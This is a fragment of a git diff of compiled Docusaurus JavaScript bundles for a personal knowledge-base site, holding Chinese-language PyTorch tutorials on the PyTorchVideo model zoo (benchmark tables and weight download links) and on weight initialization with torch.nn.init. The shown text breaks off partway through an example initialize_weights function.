10"}),(0,h.jsx)(e.td,{children:"28.11"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/R2PLUS1D_16x4_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"XS"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"4x12"}),(0,h.jsx)(e.td,{children:"69.12"}),(0,h.jsx)(e.td,{children:"88.63"}),(0,h.jsx)(e.td,{children:"0.91 x 3 x 10"}),(0,h.jsx)(e.td,{children:"3.79"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_XS.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"S"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"13x6"}),(0,h.jsx)(e.td,{children:"73.33"}),(0,h.jsx)(e.td,{children:"91.27"}),(0,h.jsx)(e.td,{children:"2.96 x 3 x 10"}),(0,h.jsx)(e.td,{children:"3.79"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_S.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"M"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x5"}),(0,h.jsx)(e.td,{children:"75.94"}),(0,h.jsx)(e.td,{children:"92.72"}),(0,h.jsx)(e.td,{children:"6.72 x 3 x 10"}),(0,h.jsx)(e.td,{children:"3.79"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_M.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"L"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x5"}),(0,h.jsx)(e.td,{children:"77.44"}),(0,h.jsx)(e.td,{children:"93.31"}),(0,h.jsx)(e.td,{children:"26.64 x 3 x 10"}),(0,h.jsx)(e.td,{children:"6.15"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_L.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"MViT"}),(0,h.jsx)(e.td,{children:"B"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x4"}),(0,h.jsx)(e.td,{children:"78.85"}),(0,h.jsx)(e.td,{children:"93.85"}),(0,h.jsx)(e.td,{children:"70.80 x 1 x 5"}),(0,h.jsx)(e.td,{children:"36.61"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/MVIT_B_16x4.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"MViT"}),(0,h.jsx)(e.td,{children:"B"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"32x3"}),(0,h.jsx)(e.td,{children:"80.30"}),(0,h.jsx)(e.td,{children:"94.69"}),(0,h.jsx)(e.td,{children:"170.37 x 1 x 5"}),(0,h.jsx)(e.td,{children:"36.61"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/MVIT_B_32x3_f294077834.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"Something-Something V2"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"top 1"}),(0,h.jsx)(e.th,{children:"top 5"}),(0,h.jsx)(e.th,{children:"Flops (G) x views"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"60.04"}),(0,h.jsx)(e.td,{children:"85.19"}),(0,h.jsx)(e.td,{children:"55.10 x 3 x 1"}),(0,h.jsx)(e.td,{children:"31.96"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ssv2/SLOW_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"61.68"}),(0,h.jsx)(e.td,{children:"86.92"}),(0,h.jsx)(e.td,{children:"66.60 x 3 x 1"}),(0,h.jsx)(e.td,{children:"34.04"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ssv2/SLOWFAST_8x8_R50.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"Charades"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"MAP"}),(0,h.jsx)(e.th,{children:"Flops (G) x views"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"34.72"}),(0,h.jsx)(e.td,{children:"55.10 x 3 x 10"}),(0,h.jsx)(e.td,{children:"31.96"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/charades/SLOW_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"37.24"}),(0,h.jsx)(e.td,{children:"66.60 x 3 x 10"}),(0,h.jsx)(e.td,{children:"34.00"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/charades/SLOWFAST_8x8_R50.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"AVA (V2.2)"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"MAP"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"4x16"}),(0,h.jsx)(e.td,{children:"19.5"}),(0,h.jsx)(e.td,{children:"31.78"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ava/SLOW_4x16_R50_DETECTION.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"24.67"}),(0,h.jsx)(e.td,{children:"33.82"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ava/SLOWFAST_8x8_R50_DETECTION.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsx)(e.h2,{id:"834-\u4f7f\u7528-pytorchvideo-model-zoo",children:"8.3.4 \u4f7f\u7528 PyTorchVideo model zoo"}),"\n",(0,h.jsxs)(e.p,{children:["PyTorchVideo\u63d0\u4f9b\u4e86\u4e09\u79cd\u4f7f\u7528\u65b9\u6cd5\uff0c\u5e76\u4e14\u7ed9\u6bcf\u4e00\u79cd\u90fd\u914d\u5907\u4e86",(0,h.jsx)(e.code,{children:"tutorial"})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["TorchHub\uff0c\u8fd9\u4e9b\u6a21\u578b\u90fd\u5df2\u7ecf\u5728TorchHub\u5b58\u5728\u3002\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u6765\u9009\u62e9\u9700\u4e0d\u9700\u8981\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5b98\u65b9\u4e5f\u7ed9\u51fa\u4e86TorchHub\u4f7f\u7528\u7684 ",(0,h.jsx)(e.a,{href:"https://pytorchvideo.org/docs/tutorial_torchhub_inference",children:"tutorial"})," \u3002"]}),"\n",(0,h.jsxs)(e.li,{children:["PySlowFast\uff0c\u4f7f\u7528 ",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/SlowFast/",children:"PySlowFast workflow"})," \u53bb\u8bad\u7ec3\u6216\u6d4b\u8bd5PyTorchVideo models/datasets."]}),"\n",(0,h.jsxs)(e.li,{children:[(0,h.jsx)(e.a,{href:"https://github.com/PyTorchLightning/pytorch-lightning",children:"PyTorch Lightning"}),"\u5efa\u7acb\u4e00\u4e2a\u5de5\u4f5c\u6d41\u8fdb\u884c\u5904\u7406\uff0c\u70b9\u51fb\u67e5\u770b\u5b98\u65b9 ",(0,h.jsx)(e.a,{href:"https://pytorchvideo.org/docs/tutorial_classification",children:"tutorial"}),"\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["\u5982\u679c\u60f3\u67e5\u770b\u66f4\u591a\u7684\u4f7f\u7528\u6559\u7a0b\uff0c\u53ef\u4ee5\u70b9\u51fb ",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/pytorchvideo/tree/main/tutorials",children:"\u8fd9\u91cc"})," \u8fdb\u884c\u5c1d\u8bd5"]}),"\n"]}),"\n",(0,h.jsxs)(e.p,{children:["\u603b\u7684\u6765\u8bf4\uff0cPyTorchVideo\u7684\u4f7f\u7528\u4e0etorchvision\u7684\u4f7f\u7528\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u5728\u6709\u4e86\u524d\u9762\u7684\u5b66\u4e60\u57fa\u7840\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u5feb\u4e0a\u624bPyTorchVideo\uff0c\u5177\u4f53\u7684\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b\u5b98\u65b9\u63d0\u4f9b\u7684\u6587\u6863\u548c\u4e00\u4e9b\u4f8b\u7a0b\u6765\u4e86\u89e3\u4f7f\u7528\u65b9\u6cd5\uff1a",(0,h.jsx)(e.a,{href:"https://pytorchvideo.readthedocs.io/en/latest/index.html",children:"\u5b98\u65b9\u7f51\u5740"})]})]})}function o(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,h.jsx)(e,{...n,children:(0,h.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/ac52c911.cfb3c3b3.js b/en/assets/js/ac52c911.cfb3c3b3.js new file mode 100644 index 0000000..e633c91 --- /dev/null +++ b/en/assets/js/ac52c911.cfb3c3b3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6496],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>c});var i=t(96540);const r={},s=i.createContext(r);function l(n){const e=i.useContext(s);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:l(n.components),i.createElement(s.Provider,{value:e},n.children)}},53956:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>l,metadata:()=>i,toc:()=>o});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.4 \u6a21\u578b\u6784\u5efa.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa"},"next":{"title":"3.6 \u635f\u5931\u51fd\u6570.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570"}}');var r=t(74848),s=t(28453);const l={},c="3.5 \u6a21\u578b\u521d\u59cb\u5316.md",d={},o=[{value:"torch.nn.init\u5185\u5bb9",id:"torchnninit\u5185\u5bb9",level:2},{value:"torch.nn.init\u4f7f\u7528",id:"torchnninit\u4f7f\u7528",level:2},{value:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5",id:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5",level:2}];function h(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"35-\u6a21\u578b\u521d\u59cb\u5316md",children:"3.5 \u6a21\u578b\u521d\u59cb\u5316.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"35-\u6a21\u578b\u521d\u59cb\u5316",children:"3.5 \u6a21\u578b\u521d\u59cb\u5316"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u7684\u8bad\u7ec3\u4e2d\uff0c\u6743\u91cd\u7684\u521d\u59cb\u503c\u6781\u4e3a\u91cd\u8981\u3002\u4e00\u4e2a\u597d\u7684\u521d\u59cb\u503c\uff0c\u4f1a\u4f7f\u6a21\u578b\u6536\u655b\u901f\u5ea6\u63d0\u9ad8\uff0c\u4f7f\u6a21\u578b\u51c6\u786e\u7387\u66f4\u7cbe\u786e\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4e0d\u4f7f\u7528\u51680\u521d\u59cb\u503c\u8bad\u7ec3\u7f51\u7edc\u3002\u4e3a\u4e86\u5229\u4e8e\u8bad\u7ec3\u548c\u51cf\u5c11\u6536\u655b\u65f6\u95f4\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u6a21\u578b\u8fdb\u884c\u5408\u7406\u7684\u521d\u59cb\u5316\u3002PyTorch\u4e5f\u5728",(0,r.jsx)(e.code,{children:"torch.nn.init"}),"\u4e2d\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u5e38\u7528\u7684\u521d\u59cb\u5316\u65b9\u6cd5\u3002\n\u901a\u8fc7\u672c\u7ae0\u5b66\u4e60\uff0c\u4f60\u5c06\u5b66\u4e60\u5230\u4ee5\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5e38\u89c1\u7684\u521d\u59cb\u5316\u51fd\u6570"}),"\n",(0,r.jsx)(e.li,{children:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u4f7f\u7528"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"torchnninit\u5185\u5bb9",children:"torch.nn.init\u5185\u5bb9"}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u8fc7\u8bbf\u95eetorch.nn.init\u7684\u5b98\u65b9\u6587\u6863",(0,r.jsx)(e.a,{href:"https://pytorch.org/docs/stable/nn.init.html",children:"\u94fe\u63a5"})," \uff0c\u6211\u4eec\u53d1\u73b0",(0,r.jsx)(e.code,{children:"torch.nn.init"}),"\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u521d\u59cb\u5316\u65b9\u6cd5\uff1a\n1 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.uniform_"}),"(tensor, a=0.0, b=1.0)\n2 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.normal_"}),"(tensor, mean=0.0, std=1.0)\n3 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.constant_"}),"(tensor, val)\n4 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.ones_"}),"(tensor)\n5 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.zeros_"}),"(tensor)\n6 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.eye_"}),"(tensor)\n7 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.dirac_"}),"(tensor, groups=1)\n8 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.xavier_uniform_"}),"(tensor, gain=1.0)\n9 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.xavier_normal_"}),"(tensor, gain=1.0)\n10 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.kaiming_uniform_"}),"(tensor, a=0, mode='fan__in', nonlinearity='leaky_relu')\n11 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.kaiming_normal_"}),"(tensor, a=0, mode='fan_in', nonlinearity='leaky_relu')\n12 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.orthogonal_"}),"(tensor, gain=1)\n13 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.sparse_"}),"(tensor, sparsity, std=0.01)\n14 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.calculate_gain"}),"(nonlinearity, param=None)\n\u5173\u4e8e\u8ba1\u7b97\u589e\u76ca\u5982\u4e0b\u8868\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"nonlinearity"}),(0,r.jsx)(e.th,{children:"gain"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Linear/Identity"}),(0,r.jsx)(e.td,{children:"1"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Conv{1,2,3}D"}),(0,r.jsx)(e.td,{children:"1"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Sigmod"}),(0,r.jsx)(e.td,{children:"1"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Tanh"}),(0,r.jsx)(e.td,{children:"5/3"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"ReLU"}),(0,r.jsx)(e.td,{children:"sqrt(2)"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Leaky Relu"}),(0,r.jsx)(e.td,{children:"sqrt(2/1+neg_slop^2)"})]})]})]}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e9b\u51fd\u6570\u9664\u4e86",(0,r.jsx)(e.code,{children:"calculate_gain"}),"\uff0c\u6240\u6709\u51fd\u6570\u7684\u540e\u7f00\u90fd\u5e26\u6709\u4e0b\u5212\u7ebf\uff0c\u610f\u5473\u7740\u8fd9\u4e9b\u51fd\u6570\u5c06\u4f1a\u76f4\u63a5\u539f\u5730\u66f4\u6539\u8f93\u5165\u5f20\u91cf\u7684\u503c\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"torchnninit\u4f7f\u7528",children:"torch.nn.init\u4f7f\u7528"}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u5e38\u4f1a\u6839\u636e\u5b9e\u9645\u6a21\u578b\u6765\u4f7f\u7528",(0,r.jsx)(e.code,{children:"torch.nn.init"}),"\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u901a\u5e38\u4f7f\u7528",(0,r.jsx)(e.code,{children:"isinstance()"}),"\u6765\u8fdb\u884c\u5224\u65ad\u6a21\u5757\uff08\u56de\u987e3.4\u6a21\u578b\u6784\u5efa\uff09\u5c5e\u4e8e\u4ec0\u4e48\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\n\nconv = nn.Conv2d(1,3,3)\nlinear = nn.Linear(10,1)\n\nisinstance(conv,nn.Conv2d) # \u5224\u65adconv\u662f\u5426\u662fnn.Conv2d\u7c7b\u578b\nisinstance(linear,nn.Conv2d) # \u5224\u65adlinear\u662f\u5426\u662fnn.Conv2d\u7c7b\u578b\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"True\nFalse\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u4e8e\u4e0d\u540c\u7684\u7c7b\u578b\u5c42\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8bbe\u7f6e\u4e0d\u540c\u7684\u6743\u503c\u521d\u59cb\u5316\u7684\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u67e5\u770b\u968f\u673a\u521d\u59cb\u5316\u7684conv\u53c2\u6570\nconv.weight.data\n# \u67e5\u770blinear\u7684\u53c2\u6570\nlinear.weight.data\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"tensor([[[[ 0.1174, 0.1071, 0.2977],\n [-0.2634, -0.0583, -0.2465],\n [ 0.1726, -0.0452, -0.2354]]],\n [[[ 0.1382, 0.1853, -0.1515],\n [ 0.0561, 0.2798, -0.2488],\n [-0.1288, 0.0031, 0.2826]]],\n [[[ 0.2655, 0.2566, -0.1276],\n [ 0.1905, -0.1308, 0.2933],\n [ 0.0557, -0.1880, 0.0669]]]])\n\ntensor([[-0.0089, 0.1186, 0.1213, -0.2569, 0.1381, 0.3125, 0.1118, -0.0063, -0.2330, 0.1956]])\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# \u5bf9conv\u8fdb\u884ckaiming\u521d\u59cb\u5316\ntorch.nn.init.kaiming_normal_(conv.weight.data)\nconv.weight.data\n# \u5bf9linear\u8fdb\u884c\u5e38\u6570\u521d\u59cb\u5316\ntorch.nn.init.constant_(linear.weight.data,0.3)\nlinear.weight.data\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"tensor([[[[ 0.3249, -0.0500, 0.6703],\n [-0.3561, 0.0946, 0.4380],\n [-0.9426, 0.9116, 0.4374]]],\n [[[ 0.6727, 0.9885, 0.1635],\n [ 0.7218, -1.2841, -0.2970],\n [-0.9128, -0.1134, -0.3846]]],\n [[[ 0.2018, 0.4668, -0.0937],\n [-0.2701, -0.3073, 0.6686],\n [-0.3269, -0.0094, 0.3246]]]])\ntensor([[0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000,0.3000]])\n"})}),"\n",(0,r.jsx)(e.h2,{id:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5",children:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5"}),"\n",(0,r.jsxs)(e.p,{children:["\u4eba\u4eec\u5e38\u5e38\u5c06\u5404\u79cd\u521d\u59cb\u5316\u65b9\u6cd5\u5b9a\u4e49\u4e3a\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"initialize_weights()"}),"\u7684\u51fd\u6570\u5e76\u5728\u6a21\u578b\u521d\u59cb\u540e\u8fdb\u884c\u4f7f\u7528\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def initialize_weights(model):\n\tfor m in model.modules():\n\t\t# \u5224\u65ad\u662f\u5426\u5c5e\u4e8eConv2d\n\t\tif isinstance(m, nn.Conv2d):\n\t\t\ttorch.nn.init.zeros_(m.weight.data)\n\t\t\t# \u5224\u65ad\u662f\u5426\u6709\u504f\u7f6e\n\t\t\tif m.bias is not None:\n\t\t\t\ttorch.nn.init.constant_(m.bias.data,0.3)\n\t\telif isinstance(m, nn.Linear):\n\t\t\ttorch.nn.init.normal_(m.weight.data, 0.1)\n\t\t\tif m.bias is not 